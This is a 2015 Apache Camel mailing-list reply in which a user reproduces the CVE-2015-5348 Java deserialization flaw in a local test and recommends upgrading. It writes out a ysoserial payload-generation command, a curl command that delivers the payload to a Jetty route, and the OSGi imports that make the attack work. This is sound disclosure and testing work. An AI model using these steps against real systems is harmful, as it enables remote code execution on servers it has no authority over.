Mailing-List: contact users-help@camel.apache.org; run by ezmlm
Precedence: bulk
Reply-To: users@camel.apache.org
Content-Type: text/plain; charset="utf-8"
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0
From: "Ed Welch" <ed@edjusted.com>
Reply-To: ed@edjusted.com
To: "users" <users@camel.apache.org>
Subject: Re: CVE-2015-5348 - Apache Camel medium disclosure vulnerability
Date: Thu, 17 Dec 2015 15:43:22 -0500 (EST)
In-Reply-To: 
 <CAGB5yNn7OimVkJ_mArRWQXQ4aOOGko=uxV_Zhf7U79SONY=kGA@mail.gmail.com>
Message-Id: <E1a9fOU-00080E-0b@rmm6prod02.runbox.com>

Was curious how easy this was to exploit, so I decided to play around a lit=
tle.

We deploy entirely into OSGi environments either in apache servicemix or ap=
ache karaf, so that's where my testing was focused.

There is a github project which handily creates sample payloads given a com=
mand of your choosing: https://github.com/frohoff/ysoserial

So I made myself a sample payload to work against commons-collections 3.2.1:

java -jar ysoserial-0.0.2-all.jar CommonsCollections1 'touch /tmp/pwn' > cc=
1.bin

If successful, this should create a file named pwn in the tmp folder.

I then created a real simple camel route:

from("jetty:http://0.0.0.0:8888")
                .process(exchange -> {
                    log.info("recieved request");
                    exchange.getIn().setBody("Response + " + System.current=
TimeMillis());
                });

Which would respond to any request and return a simple string including a t=
imestamp.

Deployed this to karaf 3.0.3 against camel 2.16.0, also deployed commons-co=
llections 3.2.1 into the environment

Tried to exploit with my sample payload:

curl --header "Content-Type: application/x-java-serialized-object" --data-b=
inary @cc1.bin http://localhost:8888

Looked in /tmp, no file! hooray?

maybe not yet, looked at the logs, see:

Caused by: java.lang.ClassNotFoundException: org.apache.commons.collections=
.map.LazyMap

Wait a minute, for once in the history of OSGi did the separate class loade=
rs help me out instead of just making my life more difficult?? Indeed it di=
d!  Ok, snark aside, I love OSGi, but yes, my bundle did not declare an imp=
ort for this package in it's manifest (and a couple others that are needed)=
, so despite having installed the vulnerable library, my bundle did not hav=
e access to it.

So this is good, but it's probably a false sense of security, a couple more=
 import-package entries in my test bundle:

org.apache.commons.collections.map,
org.apache.commons.collections.functors,
org.apache.commons.collections,

And now when I run the curl command, I definitely see pwn in the /tmp folde=
r :(

Also beware of <DynamicImport-Package>*</DynamicImport-Package> in your con=
fig/manifest.  I tested this too, and this is all that is needed for this e=
xploit to work.

Or maybe your bundle is already importing the above packages because your a=
pplication uses them....=20

Also keep in mind, commons-collections isn't the only vulnerable library to=
 this issue, ysoserial has some sample spring and groovy payload options.


Or maybe you aren't running in OSGi, in which case, if you have any of the =
vulnerable libs on the classpath, you are in trouble.

On the positive side of things though, depending on how you are doing authe=
ntication, say you use the camel-servlet component and you have a security-=
constraint setting, because this is handled before data gets to camel, I be=
lieve this would mitigate attacks from non authenticated users.


My advice... take Claus' advice:

Please study this security vulnerability carefully!

You may be able to mitigate the risk with some crafty OSGi classloading or =
adding authentication, or something else... but really, if you want to not =
worry about it, upgraded to 2.16.1 or 2.15.5 which do not allow object seri=
alization by default...

Regards,
Ed

On Thu, 17 Dec 2015 10:27:59 +0100, Claus Ibsen <claus.ibsen@gmail.com> wro=
te:

> Apache Camel's Jetty/Servlet usage is vulnerable to Java object
> de-serialisation vulnerability
>=20
> If using camel-jetty, or camel-servlet as a consumer in Camel routes,
> then Camel will automatic de-serialize HTTP requests that uses the
> content-header: application/x-java-serialized-object.
>=20
> Please study this security vulnerability carefully!
>=20
> CVE-2015-5348 - [1]
>=20
> You can download the fixed Apache Camel 2.15.x and 2.16.x version from the
> Apache mirrors [2] or from the Central Maven repository.
>=20
>=20
> [1] http://camel.apache.org/security-advisories.data/CVE-2015-5348.txt.as=
c?version=3D1&modificationDate=3D1450340845000&api=3Dv2
> [2] http://camel.apache.org/download
>=20
>=20
> On behalf of the Camel PMC,
> Claus Ibsen
>=20
> --=20
> Claus Ibsen
> -----------------
> http://davsclaus.com @davsclaus
> Camel in Action 2: https://www.manning.com/ibsen2